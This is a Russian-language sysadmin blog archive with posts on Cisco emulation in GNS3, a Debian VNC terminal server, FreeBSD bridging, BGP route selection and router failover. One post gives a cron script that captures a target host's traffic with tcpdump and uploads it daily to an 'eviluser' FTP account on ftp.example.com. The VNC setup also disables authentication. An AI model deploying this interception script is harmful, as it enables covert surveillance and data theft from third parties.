Архив

Архив автора

Использование Dynamips и графической надстройки GNS3, для эмуляции сети Cisco. Часть 1.

10 Апрель 2012 Нет комментариев

Dynamips — программный эмулятор маршрутизаторов Cisco. Dynamips работает на большинстве *nix-системах, Mac OS X и Windows, при этом позволяет эмулировать аппаратную часть маршрутизаторов, непосредственно загружая и взаимодействуя с реальными образами Cisco IOS.
GNS3 удобный графический интрефейс к гипервизору Dynamips, посвозоляющий в наглядной форме создавать топологии сети и свзязи между маршрутизаторами, комутаторами, мостами и прочим сетевым оборудованием, виртуальными машинами Qemu, также позволяет эмулировать маршрутизаторы Juniper,  сетевые экраны Cisco ASA, PIX и перехватывать сетевой трафик между интерфейсами сети, посредством Wireshark. К сожалению эмулятор не способен эмулировать аппаратные Cisco ASIC, поэтому комутаторы Cisco Catalyst не доступны.

Применение

  • Подготовка к сдаче экзаменов по программам сертификации Cisco, например CCNACCNP и CCIE.
  • Тесты и эксперименты с различными версиями Cisco IOS.
  • Проверка конфигурации перед использованием на настоящем оборудовании.

Пример топологий сети, разработаных в GNS3:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Поддерживаемые платформы

  • 1700 (от 1710 до 1760)
  • 2600 (от 2610 до 2650XM)
  • 2691
  • 3600 (3620, 3640 и 3660)
  • 3725
  • 3745
  • 7200 (от NPE-100 до NPE-400)

Также поддерживается большое количество аппаратных модулей для интерфейсов типа EthernetSerialATM и других.

Приступим к настройке GNS3, для начала нужно привязать, образы операционной системы Cisco IOS(Interwork Operating System). Не путатйте с Apple iOS — операционая система,  для мобильных устройств Apple —  разработаная на ядре Darwin, предка микроядерной архитектуры Mach.

Приведу кусок конфига gns3.ini в котором к гипервизору уже привязаны самые последние IOS — взяты образы с максимальными возможными feature set advanced enterprice(скачать их будет можно по ссылке в конце статьи — обращаю ваше внимание это реальные проприетарные операционные системы и использование не для тестирования, а на реальном оборудовании — будет нарушением лицензии).

Для всех имеющихся архитектур маршрутизаторов используем последний выпуск IOS, который мне удалось достать. Обращаю ваще внимание, что практически все маршрутизаторы EOL(End Of Life), но все современные технологии, включая 32 битные AS и протокол IPv6 потдерживается, так-что у нас не будет никаких ограничений на использование новых технологий.

[IOS.images]
0\filename=/netlab/dynamipsios/c7200-adventerprisek9-mz.150-1.M5.bin
0\chassis=7200
0\platform=c7200
0\hypervisors=
0\default_ram=512
0\idlepc=0x632d2c20
0\default=true
2\filename=/netlab/dynamipsios/c1700-adventerprisek9-mz.124-19.bin
2\chassis=1760
2\platform=c1700
2\hypervisors=
2\default_ram=96
2\idlepc=0×80350038
2\default=true
3\filename=/netlab/dynamipsios/c2600-adventerprisek9-mz.124-15.T10.bin
3\chassis=2651XM
3\platform=c2600
3\hypervisors=
3\default_ram=128
3\idlepc=0×80280108
3\default=true
4\filename=/netlab/dynamipsios/c2691-adventerprisek9-mz.124-15.T14.bin
4\chassis=2691
4\platform=c2691
4\hypervisors=
4\default_ram=256
4\idlepc=0x60bd04d8
4\default=true
8\filename=/netlab/dynamipsios/c3660-jk9s-mz.124-6.XT2.bin
8\chassis=3660
8\platform=c3600
8\hypervisors=
8\default_ram=128
8\idlepc=0×60751134
8\default=false
10\filename=/netlab/dynamipsios/c3745-adventerprisek9-mz.124-25.bin
10\chassis=3745
10\platform=c3700
10\hypervisors=
10\default_ram=256
10\idlepc=0x612346e8
10\default=true

Хочу обратить ваше внимание на параметр idlepc=0x612346e8, маршрутизатор с неподобраным значением idlepc(а он для каждой машины, ios и платформы маршрутизатора будет свой), этот параметр нужен, что-бы эмулятор Dynamips не съедал 100% процессорного времени, при превом запуске эмулируемого маршрутизатора, после его загрузки и ответа на вопрос желаете ли вы сконфигурировать маршрутизатор в интерактивном режиме — отвечаем нет, IOS прогружается до рабочего состояния, нажимаем правую клавишу выбираем console.

Вы увидите нечто подобное:

Router>

Для перехода в режим суперюзера вызываем команду enable.

Router# — обозначает, что вы обладаете правами администратора на маршрутизаторе. Теперь самое время вычислить значение idle pc для вашей конфигурации, вызываем контесктное меню правой кнопкой по изображению маршрутизатора выбираем idle pc.

 

 

 

 

 

 

 

 

 

 

Все наш маршрутизатор готов к работе!
Список IOS,Feature Set и требования к оперативной памяти.
c1700-adventerprisek9-mz.124-19.bin — Release 12.4(19) — Platform 1760 — Feature Set/License — ADVANCED ENTERPRISE SERVICES — DRAM / Min Flash  128 / 32
c2600-adventerprisek9-mz.124-15.T10.bin — Release 12.4(15)T10 — Platform 2651XM — Feature Set/License — ADVANCED ENTERPRISE SERVICES — DRAM / Min Flash
256 / 48
c2691-adventerprisek9-mz.124-15.T14.bin — Release 12.4(15)T14 — Platform 2691 — Feature Set/License — ADVANCED ENTERPRISE SERVICES — DRAM / Min Flash   256 / 64
c3660-jk9s-mz.124-6.XT2.bin — Release 12.4(6)XT2 — Platform 3660 — Feature Set/License — ENTERPRISE PLUS IPSEC 3DES — DRAM / Min Flash 256 / 64
c3745-adventerprisek9-mz.124-25.bin — Release 12.4(25) — Platform 3745 — ADVANCED ENTERPRISE SERVICES — DRAM / Min Flash 256 / 64
c7200-adventerprisek9-mz.150-1.M5.bin — Release 15(1)M5 — Platform 7200 — ADVANCED ENTERPRISE SERVICES — DRAM / Min Flash 512 / 64

Ссылка для скачивания — DynamipsIOS

Настройка терминального сервера под Debian

Все нижеперечисленное относится к Debian 4.0 или 5.0
(про Debian 6 читайте ниже)

На самом деле установка и настройка непосредственно терминального сервера происходит до безобразия просто. Установим VNC сервер с помощью программы управления пакетами synaptic или с помощью команды:

apt-get install vnc4server

Терминальный VNC сервер установлен и его уже можно запускать командой vncserver. При этом VNC запрсит у Вас пароль для подключения клиентом. Учтите, что при логоне удалённым VNC вьювером, сервер даст вам рабочий стол пользователя, от имени которого был запущен vncserver. Помимо этого есть один неприятный, на первый взгляд, момент — Если к запущенному VNC серверу уже подключен один VNC вьювер, то при подключении второго вьювера на этот же порт — клиенты или начнут делить один и тот же сеанс или одного из клиентов просто «выбросит» из сессии, что нас конечно же не устраивает. Выхода из данной ситуации два:

1) Автоматом открыть N VNC-сессий (N=количеству ноебходимых клиентских подключений). При этом каждое подключение будет происходить на отдельный порт 5900 — 590N. Помимо этого, постоянно будут подгружены «неиспользумые» VNC сервера. Также не решается проблема с одновременным подключением нескольких вьюверов на один порт. Данный Вариант нас в корне не устраивает, т.к. нам надо получить работающую систему, максимально похожую на терминальный виндовый сервер для удобства пользователей.

2) Настроить супердемон inetd, чтобы при коннекте на порт 5900 происходил автоматический запуск VNC сервера. При этом все соединения слушаются на одном порту и количество VNC серверов не превышает количество необходимых в данный момент.

Таким образом, выбираем п.2 — правку inetd. В /etc/inetd.conf добавляем слелующую строку:

5900 stream tcp nowait my_user /usr/bin/Xvnc Xvnc -inetd -query localhost -once -depth 24 securitytypes=none

Параметр my_user заменяете на имя пользователя, от чьего имени будет запущен vncservsr. Параметр -query localhost говорит нашему vncserver-у, что авторизация будет происходить локально, используя gdm или xdm (в зависимости от того, что у Вас установлено). Помимо этого можно «поиграть» с настройками geometry, которые зададут разрешение сервера VNC. Все параметры можно увидеть, набрав в консоли Xvnc -h

Терминальный сервер настроен, осталось настроить gdm/xdm (в зависимости от того, что у Вас стоит) принимать запрсы по xdmcp

Если gdm:

Редактируем /etc/gdm/gdm.conf — добавляем

[xdmcp]
Enable=true

Если xdm:

По умолчанию, в целях безопасности, xdm запрещено слушать xdmcp, поэтому редактируем /etc/X11/xdm/xdm-config Находим строку DisplayManager.requestPort: 0 Перед ней ставим знак «!», т.о. получаем следующе

! SECURITY: do not listen for XDMCP or Chooser requests
! Comment out this line if you want to manage X terminals with xdm
! DisplayManager.requestPort: 0

Таким образом настройка gdm/xdm закончена.

После это рестартуем inetd, gdm/xdm и пробуем подключиться терминальным VNC клиентом. Благодаря тому, что VNC является открытым, существуют различные программные продукты под разные ОСи. Из-под Windows я пользовался VNC Enterprise Edition 4.4 released. Из под Debian – «родной» VNCVIEWER.

Естественно, что везде есть свои «подводные камни». В нашем случае они тоже имеются. Из замеченного — явно бросается в глаза невозможность «восстановиться» в отвалившуюся сессию. Т.е. если человек работал под своим логином, и у него отвалилась сеть, то при повторном логине он не получит окружение рабочего стола, которое было ДО отваливания. Это немного неудобно, но в конечном итоге не смертельно. По крайней мере не будет «мёртвых» сессий.

Как настроить терминальный сервер на Debian 6.0.»Squeeze»?

Debian 6.0. отличается от предыдущих версий (Debian 5.0 и Debian 4.0) тем, что при установке Debian 6.0:
1. по умолчанию устанавливается графическая оболочка Gnome 3, а не Gnome (как в Debian 4.0 и 5.0). Соответственно устанавливается пакет gdm3.
2. по умолчанию не устанавливается пакет openbsd-inetd, который в свою очередь содержит конфигурационный файл inetd.conf супер сервера inetd. Поэтому мы не находим его в каталоге etc.
Таким образом, чтобы настроить терминальный сервер на Debian 6.0. нужно:

Сначала, с помощью программы управления пакетами Synaptic (Система —> Администрирование —> программа управления пакетами Synaptic) или с помощью команды от имени суперпользователя
apt-get install vnc4server

установить VNC сервер (пакет vnc4server). После этого его можно будет запускать командой vncserver.

Затем, с помощью программы управления пакетами Synaptic (Система —> Администрирование —> программа управления пакетами Synaptic) или с помощью команды от имени суперпользователя
apt-get install gdm

установим пакет gdm. При установке пакета gdm автоматически удалится, установленный по умолчанию, пакет gdm3.

Теперь, аналогично установке пакетов vnc4server и gdm устанавливаем пакет openbsd-inetd, т.е. с помощью программы управления пакетами Synaptic (Система —> Администрирование —> программа управления пакетами Synaptic) или с помощью команды от имени суперпользователя
apt-get install openbsd-inetd

Чтобы при подключении на порт 5900 происходил автоматический запуск VNC сервера и при этом соединения на одном порту и количество VNC серверов не превышало количество необходимых в данный момент, надо настроить супер сервер inetd.
От имени супер пользователя (root) открыть (вызвать с помощью команды gedit) текстовый редактор. Открываем файл в etc/inetd.conf, добавляем следующую строку:
5900 stream tcp nowait my_user /usr/bin/Xvnc Xvnc -inetd -query localhost -once -depth 24 securitytypes=none

Параметр my_user заменяем на имя пользователя от чьего имени будет запущен vncserver.

Осталось настроить, установленный нами, gdm. Открываем файл в etc/gdm/gdm.conf и редактируем его. Добавляем

[xdmcp]
Enable=true
После всех изменений необходимо перезагрузить систему. Терминальный VNC сервер на Debian 6.0 настроен, теперь можно к нему подключиться терминальным VNC клиентом.

Установка бинарного репозитория во FreeBSD

5 Октябрь 2011 Нет комментариев

Бывают случаи, когда необходимо установить устаревший релиз FreeBSD, а порты собирать не хочеться.
Для этого существует команда pkg_add -r mc — например для установки файлового менеджера, но к сожалению старые бинарные репозитории удаляются с официальных зеркал. Но если мы знаем зеркало, где лежит нужный нам пакет указываем его через переменную окружения:
setenv PACKAGESITE http://ftp.ru.freebsd.org/FreeBSD/FreeBSD-Archive/ports/i386/packages-7.2-release/All/

Прозрачный bridge на базе FreeBSD

Для поддержки режима bridge пересобираем ядро с поддержкой драйвера:

device if_bridge

и опциями для фильтрации трафика (на базе ipfw):

options IPFIREWALL
options IPFIREWALL_DEFAULT_TO_ACCEPT

В файл /etc/sysctl.conf добавляем строки

net.link.bridge.ipfw=1
net.link.bridge.pfil_member=1
net.link.bridge.pfil_bridge=1
net.link.ether.ipfw=1
net.inet.ip.fw.enable=1

В файле /etc/rc.conf поднимаем сам мост (на двух физических интерфейсах em0 и em1):

cloned_interfaces=»bridge0″
ifconfig_bridge0=»addm em0 addm em1 up»
ifconfig_em0=»up»
ifconfig_em1=»up»
ifconfig_em2=»inet 192.168.1.2 netmask 255.255.255.0 up»
Для доступа по сети на интерфейс em2 назначен IP.

Перехват трафика на интернет шлюзе

Имеем порутаный интернет шлюз — задача перехватить весь трафик с ip адреса 2.2.2.2 и отправить раз в сутки в 4 утра к нам на сервер с парсером трафика.

Добавляем запуск нашего dumpscript в планировщик задач cron
vi /etc/crontab
0 4 * * * root /usr/dump/dumpscript
Теперь наш скрипт в 4 утра будет запускаться сливать дамп и перезапускать захват трафика.

#!/usr/local/bin/bash
set -x
cd /usr/dump

YEAR=`date +%Y`
MONTH=`date +%m`
DAY=`date +%d`
#Закачиваем сдампленый трафик на наш удаленый сервер для анализа трафика
echo mkdir $YEAR-$MONTH-$DAY | ftp ftp://eviluser:evilpass@ftp.example.com/tagertdump/
echo binary | ftp ftp://eviluser:evilpass@ftp.example.com/tagertdump/
echo put traff | ftp ftp://eviluser:evilpass@ftp.example.com/tagertdump/$YEAR-$MONTH-$DAY/
#Убиваем процессы от предыдущего запуска
/usr/bin/killall screen
/usr/bin/killall tcpdump
/usr/local/bin/screen -d -m /usr/sbin/tcpdump -w traff -s 0 -i igb1 host 2.2.2.2 #Запускаем tcpdump в консольном оконном менеджере screen -d -m(создаем терминал и запускаем в нем процесс tcpdump по перехвату трафика с адреса 2.2.2.2 на интерфейсе igb1)

BGP — как происходит выбор наилучшего маршрута

19 Апрель 2011 Нет комментариев

BGP всегда выбирает один из маршрутов — как наилучший. Когда маршрут выбран, BGP помещает его в свою таблицу маршрутизации, и передает его своим neighbor’ам. Для выбора наилучшего маршрута BGP использует следующие критерии:

1. Если путь, указанный в поле next-hop, недоступен, этот update убивается.
2. Лучшим считается путь с наибольшим значением weight;
3. Если weight путей одинаковы, то выбирается путь с наибольшим lpref;
4. Если weight и lpref одинаковы, то выбирается путь, который появился в таблице маршрутов BGP на данном роутере. (подразумевается, что это будет самый наикратчайший путь);
5. Если нет путей, которые «родились» на данном роутере, то выбирается путь с AS_path минимальной длины;
6. Если все пути имеют одинаковую длину (одинаковое количество hop’ов, следовательно), выбирается путь с «lowest origin type». Считается, что IGP < EGP < Incomplete.;
7. Если Origin attr. code одинаковы для всех путей, выбирается путь с наименьшим MED attr.;
8. Если и MED одинаковы для всех возможных путей, предпочтительным считается external path перед internal path;
9. Если опять все пути одинаковы, то prefer the path through the closest IGP neighbor;
10. Выбирается путь с наименьшим IP адресом из тех, которые указываются by the BGP router ID.

MariaDB включаем поддержку XtraDB(Обратно совместимый движок с Innodb)

cd ./mariadb
./configure —with-plugins=max
Max обозначает что мы включаем все возможные движки — если есть желание их потестить.
На выходе получаем вывод скрипта configure:
Configuration summary for MariaDB Server version 5.2.4-MariaDB

* Archive Storage Engine: yes
* Aria Storage Engine: yes
* Blackhole Storage Engine: yes
* CSV Storage Engine: yes
* Cluster Storage Engine: no
* Collection of Authentication Plugins: plugin
* Daemon Example Plugin: plugin
* Example Storage Engine: plugin
* Federated Storage Engine: plugin
* FederatedX Storage Engine: yes
* Graph Storage Engine: no
* IBM DB2 for i Storage Engine: no
* InnoDB Storage Engine: plugin
* Memory Storage Engine: yes
* MyISAM MERGE Engine: yes
* MyISAM Storage Engine: yes
* PBXT Storage Engine: yes
* Partition Support: yes
* Simple Parser: plugin
* Sphinx Storage Engine: plugin
* XtraDB Storage Engine: yes

* Installation prefix: /usr/local
* System type: unknown-freebsd8.0
* Host CPU: i386
* C Compiler: gcc (GCC) 4.2.1 20070719 [FreeBSD]
* C++ Compiler: g++ (GCC) 4.2.1 20070719 [FreeBSD]
* Debug enabled: no
* Community Features: yes
Если хотим включить только XtraDB: ./configure —with-plugins=xtradb

Тестирование производительности сетевой подсистемы OpenBSD,FreeBSD,CentOS

10 Декабрь 2010 Нет комментариев

Стенд: 2xXeon 5440 2.5 ghz/16 gb ram/Intel Gigabit Adapter Quad Port чипсет сетевой карты Intel 82576
входящий реальный трафик с mirror порта catalyst ~1000 mbit/sec
10 минутный результат работы утилиты tcpdump по захвату всего трафика на интерфейсе в неразборчивом режиме (promiscuous mode)
FreeBSD 8.1
93521943 packets received by filter
56474 packets dropped by kernel
OpenBSD 4.8
92588558 packets received by filter
392526 packets dropped by kernel
CentOS 5.5
82154676 packets received by filter
238170 packets dropped by kernel
Debian 5.0.7
91326722 packets received by filter
947189 packets dropped by kernel

Переключение на резервный канал ISP при использовании роутеров Allied Telesis

30 Октябрь 2010 Нет комментариев

В моем случае конфигурируем 2 PPPoE соединения:

# PPP configuration
create ppp=0 over=eth0-all # Через какой порт поднимаем PPPoE
set ppp=0 iprequest=on username=»xxxxx» password=»xxxxx» # iprequest=on — Динамически получаем ip адреса.
set ppp=0 over=eth0-all lqr=off echo=1 # Link Quality Report(LQR) часть ppp протокола для обеспечения контроля связи по ppp, в случае потери линка и.т.д некоторые провайдеры не поддерживают LQR, так-что используем echo пакеты.
create ppp=1 over=eth1-all
set ppp=1 iprequest=on username=»xxxxx» password=»xxxxx»
set ppp=1 over=eth1-all lqr=off echo=10 # Для определения падения линка используем разные значения echo.

# IP configuration
enable ip
enable ip remote
add ip int=vlan1 ip=192.168.1.253 # Добавляем адрес шлюза из приватной сети(по умолчанию на vlan 1)
add ip int=ppp0 ip=0.0.0.0 mask=0.0.0.0 # Создаем два ip unnumbered интерфейса ppp0,ppp1
add ip int=ppp1 ip=0.0.0.0 mask=0.0.0.0
add ip rou=0.0.0.0 mask=0.0.0.0 int=ppp0 next=0.0.0.0 # Добавляем два маршрута по умолчанию
add ip rou=0.0.0.0 mask=0.0.0.0 int=ppp1 next=0.0.0.0
set ip rou=0.0.0.0 mask=0.0.0.0 int=ppp1 next=0.0.0.0 pref=500 # Добавляем менее предпочтительному маршруту pref=500 чем меньше pref тем предпочтительней маршрут

# Firewall configuration
enable firewall
create firewall policy=»homenet»
enable firewall policy=»homenet» icmp_f=all
add firewall policy=»homenet» int=vlan1 type=private
add firewall policy=»homenet» int=ppp0 type=public
add firewall policy=»homenet» int=ppp1 type=public
add firewall poli=»homenet» nat=enhanced int=vlan1 gblin=ppp0 # Добавляем два правила nat на интерфейс ppp0,ppp1
add firewall poli=»homenet» nat=enhanced int=vlan1 gblin=ppp1

# DHCP (Post IP) configuration
enable dhcp
create dhcp poli=»base» lease=86400
add dhcp poli=»base» subn=255.255.255.0
add dhcp poli=»base» rou=192.168.1.253
add dhcp poli=»base» dnss=8.8.8.8,8.8.4.4
create dhcp ran=»home» poli=»base» ip=192.168.1.16 num=10 # Поднимаем dhcp сервер, количество выдаваемых ip=10, что вполне достаточно для дома.

В данной конфигурации при падении предпочтительного маршрута ppp0, роутер автоматически переключается на маршрут ppp1.

Как узнать тип процессора во FreeBSD

21 Сентябрь 2010 Нет комментариев

Тип процессора:
[root@cp ~]# sysctl -a| grep hw.model
hw.model: Intel(R) Xeon(R) CPU E5420 @ 2.50GHz
Количество ядер в системе:
[root@cp ~]# sysctl -a| grep hw.ncpu
hw.ncpu: 8

Categories: Без рубрики Tags: ,